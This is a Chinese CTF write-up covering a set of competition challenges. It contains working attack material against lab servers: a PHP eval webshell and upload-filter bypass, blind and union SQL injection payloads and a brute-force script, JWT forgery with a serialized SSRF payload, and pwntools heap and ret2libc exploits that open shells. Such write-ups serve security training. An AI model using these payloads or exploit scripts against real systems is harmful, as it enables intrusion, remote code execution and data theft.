第一届长城杯铁人三项赛初赛第二场

  1. Black web
  2. 必考
  3. Easy_login
  4. easy_note
  5. New_Old_man
  6. cardstore
  7. APISIX-FLOW
  8. babyrsa2

Black web

黑盒。

直接在/index.php?page=submit处上传Webshell一句话木马shell.php。


然后修改MIME为image/gif

即可绕过过滤直接上传成功:

访问/uploads/1711788642.php发现成功访问到上传的后门:


但是文件内容中PHP标签的问号?被过滤,使用长标签绕过:

<script language="php">@eval($_REQUEST['cmd']);</script>

将文件内容修改为上面这个长标签一句话木马后重复上述操作即可访问拿到Webshell,?cmd=system("ls ..");后发现u_c4nt_f1nd_flag.php

?cmd=system("cat ../u_c4nt_f1nd_flag.php");即得flag:flag{c322d5e45e93f004bbab9a03ec6ac720}。

必考

SQL注入是比较常见的网络攻击方式之一。

查看源码得到hint:

<!DOCTYPE html>
<html lang="en" class="no-js">

    <head>

        <meta charset="utf-8">
        <title>Fullscreen Login</title>
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <meta name="description" content="">
        <meta name="author" content="">

        <!-- CSS -->
        <link rel='stylesheet' href='http://fonts.googleapis.com/css?family=PT+Sans:400,700'>
        <link rel="stylesheet" href="assets/css/reset.css">
        <link rel="stylesheet" href="assets/css/supersized.css">
        <link rel="stylesheet" href="assets/css/style.css">

        <!-- HTML5 shim, for IE6-8 support of HTML5 elements -->
        <!--[if lt IE 9]>
            <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>
        <![endif]-->

    </head>

    <body>

        <div class="page-container">
            <h1>Login</h1>
            <form action="" method="post">
                <input type="text" name="uname" class="username" placeholder="Username">
                <input type="password" name="pwd" class="password" placeholder="Password">
                <button type="submit">Sign me in</button>
                <div class="error"><span>+</span></div>
            </form>
            <div class="connect">
                <p>Or connect with:</p>
                <p>
                    <a class="facebook" href=""></a>
                    <a class="twitter" href=""></a>
                </p>
            </div>
        </div>

        <!-- Javascript -->
        <script src="assets/js/jquery-1.8.2.min.js"></script>
        <script src="assets/js/supersized.3.2.7.min.js"></script>
        <script src="assets/js/supersized-init.js"></script>
        <script src="assets/js/scripts.js"></script>

    </body>

</html>

<!--hint:数据库中密码字段名为pwd,且只有一个用户名为admin的用户--><br/>

数据库中密码字段名为pwd,且只有一个用户名为admin的用户。尝试使用万能密码等方式绕过登录admin用户发现未果且存在对部分关键字的过滤提示naive,包括空格、unionselect等,并且大致意识到登录时后台执行查询的SQL语句不涉及对密码pwd字段的查询。结合无法联合注入查询任何字段数据的条件,大概可以猜测出后台执行的SQL查询语句逻辑大致为:

select pwd from user where uname='';

通过我们登录的用户名查询出密码再与我们登录输入的密码比较是否一致,一致则成功登录否则提示password error!,若查询不到用户名对应的密码则提示no such user。那我们可以通过SQL注入把以用户名为条件的查询改为以密码为条件的查询从而根据提示的不同逐位爆破盲注出密码,只需要传参:

uname=admin0'||(pwd)regexp('^f')#&pwd=123

使SQL语句被注入变为:

select pwd from user where uname='admin0'||(pwd)regexp('^f');

让后台执行查询绝对不存在的用户admin0,这样前面的用户名条件就形同虚设一定查询不到任何对应的数据,再根据后面注入的密码pwd条件判断是否能对应查询出唯一admin用户的密码即可通过这里的regexp正则逐位匹配判断盲注出密码,第一位简单尝试后发现是f(只有^f提示password error!其余均提示用户不存在),那么直接搓脚本:

import requests 
URL="http://192.168.17.229:8001/" 
flag='f' 

#fsaoaigafsdfsdubbwouibiaewrawe
#flag{c2ed8446cdd599bc7d0cbcb4923797d7}

while True: 
    for i in "abcdefghijklmnopqrstuvwxyz0123456789": 
        data={"uname":f"123'||(pwd)regexp('^{flag+i}')#","pwd":"123"} 
        R=requests.post(URL,data=data) 
        R.encoding="utf-8" 
        if "password error!" in R.text: 
            flag+=i 
            print(flag) 
            break

即可跑出密码fsaoaigafsdfsdubbwouibiaewrawe,登录admin用户即得flag:flag{c2ed8446cdd599bc7d0cbcb4923797d7}。

Easy_login

由于开发人员安全意识…

很套的一道题,JWT伪造+SQL注入+反序列化+SSRF。

先用从源代码注释里面拿到的用户名密码test/123456登录,在Cookie中拿到JWT:

JWT爆破密钥得到88888888,伪造id1usernameadmin可以得到两个test测试用户与两个测试页面test_page。但是若username不为admin就无法得到,提示No have!!!

很蹊跷诡异,有点SQL注入的感觉,尝试:

admin'
admin#
admin'#
admin' order by 1#
admin' order by 2#
admin' union select 1#

username后发现的确存在SQL注入,查询列数为1,并且union select联合查询得到的数据会提示Can't unserialize(如admin' union select 1#得到Can't unserialize:1)。

那就先脱裤跑出来数据库里的数据呗,依次构造username拿去伪造JWT:

admin' union select database()#
admin' union select group_concat(table_name) from information_schema.columns where table_schema=database()#
admin' union select group_concat(column_name) from information_schema.columns where table_schema=database()#
admin' union select group_concat(id) from user#
admin' union select group_concat(username) from user#
admin' union select group_concat(password) from user#
admin' union select group_concat(manager) from user#
admin' union select group_concat(serialize) from user#

得到数据库名为ctf_jwt,其中只有一个user表,表中有5列idusernamepasswordmanagerserialize,数据依次为:

1, 2, 3
admin, test, test2
c0041c99d2864b63949b818b29b6d52a, 123456, 12345678
admin,admin
一堆序列化USER类数据

其中最后查询serialize列字段内容时,发现查询到的数据并没有以Can't unserialize的形式回显出来而是正常反序列化了,最后看起来就像重复了两次出现测试用户和测试页面,这让我意识到此处还存在反序列化并且有对应数据,于是使用:

admin' union select hex(group_concat(serialize)) from user#

拿到serialize列字段中的USER类序列化数据,发现其中只有两个localhost的测试页面URL网址而没有对应的页面内容,此时我意识到它是通过反序列化得到URL后进行SSRF访问得到对应的页面内容数据才最终回显出来,那我们这里直接自行对应构造payload:

O:4:"USER":3:{s:8:"%00USER%00id";i:2;s:14:"%00USER%00username";s:4:"test";s:9:"%00USER%00url";s:12:"file:///flag";}

使用file://伪协议尝试直接SSRF读取/flag,将payload进行16进制编码代入到SQL注入语句中放入username伪造JWT:

admin' union select 0x4f3a343a2255534552223a333a7b733a383a220055534552006964223b693a323b733a31343a22005553455200757365726e616d65223b733a343a2274657374223b733a393a2200555345520075726c223b733a31323a2266696c653a2f2f2f666c6167223b7d#

得到:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjEiLCJ1c2VybmFtZSI6ImFkbWluJyB1bmlvbiBzZWxlY3QgMHg0ZjNhMzQzYTIyNTU1MzQ1NTIyMjNhMzMzYTdiNzMzYTM4M2EyMjAwNTU1MzQ1NTIwMDY5NjQyMjNiNjkzYTMyM2I3MzNhMzEzNDNhMjIwMDU1NTM0NTUyMDA3NTczNjU3MjZlNjE2ZDY1MjIzYjczM2EzNDNhMjI3NDY1NzM3NDIyM2I3MzNhMzkzYTIyMDA1NTUzNDU1MjAwNzU3MjZjMjIzYjczM2EzMTMyM2EyMjY2Njk2YzY1M2EyZjJmMmY2NjZjNjE2NzIyM2I3ZCMifQ.Pnb_6yuFmC4x5H9jR0D2t1lPsnICE1MS2iKtRJAyllY

最后直接带着这个JWT访问打即可发现在刚才两个测试页面下面多了一行file:///flag页面,页面内容即为flag。

easy_note

简单的记事本。

GET传参?code拿到源码:

审计后发现我们可以直接上传一个shell.txt文件,内容为:

<?=`cat /flag`?>

这样,首先符合strrchr函数检测要求后缀名必须为.txt的条件;继续,由于<?的php标签位于文件内容的开头即索引为0,故stripos函数检测<?时实际上的返回值为0,条件是成立的;最后,不能使用<?php标签和长标签因为含有php字段且索引不为0,故此处直接使用<?=标签结合反引号相当于直接echo执行系统命令RCE即可。上述条件全部符合绕过后即可include包含执行我们构造上传的恶意代码,直接cat /flag即得flag。

New_Old_man

Try to getshell. 此题目端口为7777, IP地址同其它WEB题, 如 192.168..:7777

堆题目,看数据结构:


没有额外的数据结构,仅仅是基本的堆。最多申请六个堆且没有限制大小
其他函数没有特殊的地方,edit没有溢出属性

最后看delete,可见有一个UAF漏洞

通过unsorted bin leak 泄露出libc_base,然后通过tcachebin poisoning修改free_hook为gift后门,最后free一下即可获得shell

from pwn import *
from struct import pack
from ctypes import *

binary = './pwn1'
elf_libc = 'libc-2.27.so'

context.os = 'linux'
context.arch = 'amd64'
context.log_level = 'debug'

# p = process(binary)
p = remote('192.168.17.229', 7777)


def debug():
    gdb.attach(p)
    pause()


def brk(addr):
    b_addr = str(addr)
    addr = 'b *' + b_addr
    # addr = 'b *$rebase({})'.format(b_addr)
    gdb.attach(p, addr)


def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))


def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))


se = lambda data: p.send(data)
sa = lambda delim, data: p.sendafter(delim, data)
sl = lambda data: p.sendline(data)
sla = lambda delim, data: p.sendlineafter(delim, data)
sea = lambda delim, data: p.sendafter(delim, data)
rc = lambda numb=4096: p.recv(numb)
rl = lambda: p.recvline()
ru = lambda delims: p.recvuntil(delims)
su = lambda delim, data: success(delim + hex(data))

elf = ELF(binary)
libc = ELF(elf_libc)

menu = "needed"
gift = 0x4007f7

def add(index, size, content):
    sla(menu, b'1')
    sla("add?\n", str(index))
    sla("include?:\n", str(size))
    sea("about:\n", content)


def show(index):
    sla(menu, b'2')
    sla("show?\n", str(index))


def edit(index, content):
    sla(menu, b'3')
    sla("edit?\n", str(index))
    sea("about:\n", content)


def free(index):
    sla(menu, b'4')
    sla("delete?\n", str(index))


add(0, 0x410, b'aaaaaaaa')
add(1, 0x20, b'bbbb')
add(2, 0x20, b'cccc')
free(0)
free(1)
show(0)

libc_base = get_addr() - libc.sym['__malloc_hook'] - 0x70
su("libc_base:", libc_base)
# brk(0x4008cd)
# pause()
free_hook = libc_base + libc.sym['__free_hook']
edit(1, p64(free_hook))
add(3, 0x20, b'aaaa')
add(4, 0x20, p64(gift))
su("free_hook:", free_hook)
free(4)
#debug()

p.interactive()


cardstore

使用nc 访问题目ip和端口。此题目端口为9999, IP地址同其它WEB题, 如 192.168..:9999



addstore有格式化字符串漏洞。存在一个整数溢出,可以进行栈溢出
格式化字符串泄露canary,栈溢出打ret2libc

from pwn import *
from struct import pack
from ctypes import *

binary = './cardstore'
# elf_libc = '/lib/x86_64-linux-gnu/libc.so.6'
elf_libc = 'libc-2.23.so'

context.os = 'linux'
context.arch = 'amd64'
context.log_level = 'debug'

# p = process(binary)
p = remote('192.168.17.229', 9999)


def debug():
    gdb.attach(p)
    pause()


def brk(addr):
    b_addr = str(addr)
    addr = 'b *' + b_addr
    # addr = 'b *$rebase({})'.format(b_addr)
    gdb.attach(p, addr)


def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))


def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))


se = lambda data: p.send(data)
sa = lambda delim, data: p.sendafter(delim, data)
sl = lambda data: p.sendline(data)
sla = lambda delim, data: p.sendlineafter(delim, data)
sea = lambda delim, data: p.sendafter(delim, data)
rc = lambda numb=4096: p.recv(numb)
rl = lambda: p.recvline()
ru = lambda delims: p.recvuntil(delims)
su = lambda delim, data: success(delim + hex(data))

elf = ELF(binary)
libc = ELF(elf_libc)

# 0x0000000000400b6c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000400b6e : pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000400b70 : pop r14 ; pop r15 ; ret
# 0x0000000000400b72 : pop r15 ; ret
# 0x0000000000400b6b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000400b6f : pop rbp ; pop r14 ; pop r15 ; ret
# 0x0000000000400740 : pop rbp ; ret
# 0x0000000000400b73 : pop rdi ; ret
# 0x0000000000400b71 : pop rsi ; pop r15 ; ret
# 0x0000000000400b6d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000400295 : ret
# 0x0000000000400662 : ret 0x2019
pop_rdi = 0x400b73
pop_rsi_r15 = 0x400b71
ret = 0x400295
main = 0x400907
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

sla("choice >>\n", b'1')
sla("name:\n", b'%7$p')
canary = int(p.recv(18), 16)
su("canary:", canary)

sla("choice >>\n", b'3')
sla("delete?\n", b'-1000')

payload = cyclic(0x108) + p64(canary) + p64(0xdeadbeef) + flat([pop_rdi, puts_got, puts_plt, main])
sla("game?\n", payload)

libc_base = get_addr() - libc.sym['puts']
system, bin_sh = get_sb()
su("system:", system)

# brk(0x4009da)
# pause()
sla("delete?\n", b'-100')

payload = cyclic(0x108) + p64(canary) + p64(0) + flat([ret, pop_rdi, bin_sh, system])
sea("game?\n", payload)

p.interactive()

APISIX-FLOW

可恶,我的Apache服务

查找200响应,翻一翻


base32

flag{0ddeff-g9ef9ef0-defffef-mkt25gtf-kf}

nice tea,红茶绿茶黑茶白茶,which one is your nice tea?

简单tea加密

key如下
key

#include <stdint.h>
#include<stdio.h>
void tea_encrypt(uint32_t* v, uint32_t* k) {
    uint32_t sum = 0;
    uint32_t delta = 0x9e3779b9;
    uint32_t v0 = v[0], v1 = v[1];
    uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
    for (int i = 0; i < 32; i++) {
        sum += delta;
        v0 += ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
        v1 += ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
    }
    v[0] = v0;
    v[1] = v1;
}

void tea_decrypt(uint32_t* v, uint32_t* k) {
    uint32_t sum = 0xC6EF3720;
    uint32_t delta = 0x9e3779b9;
    uint32_t v0 = v[0], v1 = v[1];
    uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
    for (int i = 0; i < 32; i++) {
        v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
        v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
        sum -= delta;
    }
    v[0] = v0;
    v[1] = v1;
}

int main() {
    uint32_t plaintext[12] = {  914870409,
                                (unsigned int) -791067191,
                                (unsigned int) -1825162383,
                                1661058840,
                                (unsigned int) -142723415,
                                (unsigned int) -2112282369,
                                (unsigned int) -1971619891,
                                1344417810,
                                1556851094,
                                1955799339,
                                32097,
                                0
                             };
    uint32_t key[4] = { 305419896, 195948557, 85988116, (unsigned int) -2023406815 };
    uint32_t enc[4] = {0};

//    for(int i=0 ; i<4 ; i+=2 ){
//		tea_encrypt(plaintext+i,key);
//	}
    for (int i = 0 ; i < 10 ;  i += 2 ) {
        tea_decrypt(plaintext + i, key);
    }
    printf("%s", plaintext);
    return 0;
}

flag{7b06c572-d317-49cf-8ff2-8e402e1ea53a}

babyrsa2

简单的rsa而已。

把flag.enc转为long型

from Crypto.Util.number import bytes_to_long
with open("./babyrsa (2)/flag.enc",'rb+') as f:
    f = f.read()
    print(bytes_to_long(f))
#34544884515032297361938067755521025059722878179437961977941604148701451922996

一把梭


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达.